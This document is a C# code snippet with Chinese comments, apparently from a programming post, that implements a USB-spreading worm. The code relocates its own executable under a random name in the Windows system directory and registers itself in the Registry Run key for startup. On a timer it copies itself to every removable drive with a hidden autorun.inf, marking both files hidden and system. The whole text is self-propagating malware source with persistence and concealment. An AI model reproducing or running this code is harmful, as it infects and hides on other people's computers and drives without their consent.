string clientname = "";//程序随机生成的文件名
string path = "";//程序移动到的文件路径及名称
public void Uinfect()
{
FileInfo myinfo = new FileInfo(path);
foreach(DriveInfo dir in DriveInfo.GetDrives())
{
if (dir.DriveType == DriveType.Removable)
{
string upath = dir.Name + "//" + clientname;
FileInfo info = new FileInfo(upath);
if (!info.Exists)
{
myinfo.CopyTo(upath);
FileInfo auto = new FileInfo(dir.Name + "//autorun.inf");
StreamWriter sw = auto.AppendText();
sw.Write("/r/n[autorun]/r/n" + "open=" + clientname);
sw.Flush();
sw.Close();
auto.Attributes = FileAttributes.Hidden | FileAttributes.System;
info.Attributes = FileAttributes.System | FileAttributes.Hidden;
}
else
{
//timer1.Enabled = false;
}
}
}
}
private string MoveFile()
{
string path = Application.ExecutablePath;
if (!path.Contains(Environment.SystemDirectory))
{
FileInfo myfile = new FileInfo(path);
string myFilename = "";
string Systempath = Environment.SystemDirectory;
string destPath = "";
FileInfo destFile = null;
do
{
myFilename = this.CreateCode(6) + ".exe";
destPath = Systempath + "//" + myFilename;
destFile = new FileInfo(destPath);
}
while (destFile.Exists);
clientname = myFilename;
myfile.MoveTo(destPath);
return destPath;//返回移动到的路径及名称
}
else
{
string clientstartname = Application.StartupPath;
clientname = path.Substring(clientstartname.Length + 1, path.Length - clientstartname.Length - 1);
return path;//返回移动到的路径及名称
}
}
//写入注册表开机启动
private void RunStart()
{
RegistryKey mykey = Registry.LocalMachine;
RegistryKey runkey = mykey.OpenSubKey(@"SOFTWARE/Microsoft/Windows/CurrentVersion/Run", true);
runkey.SetValue(clientname, path);
runkey.Close();
}
private void timer1_Tick(object sender, EventArgs e)
{
Uinfect();
}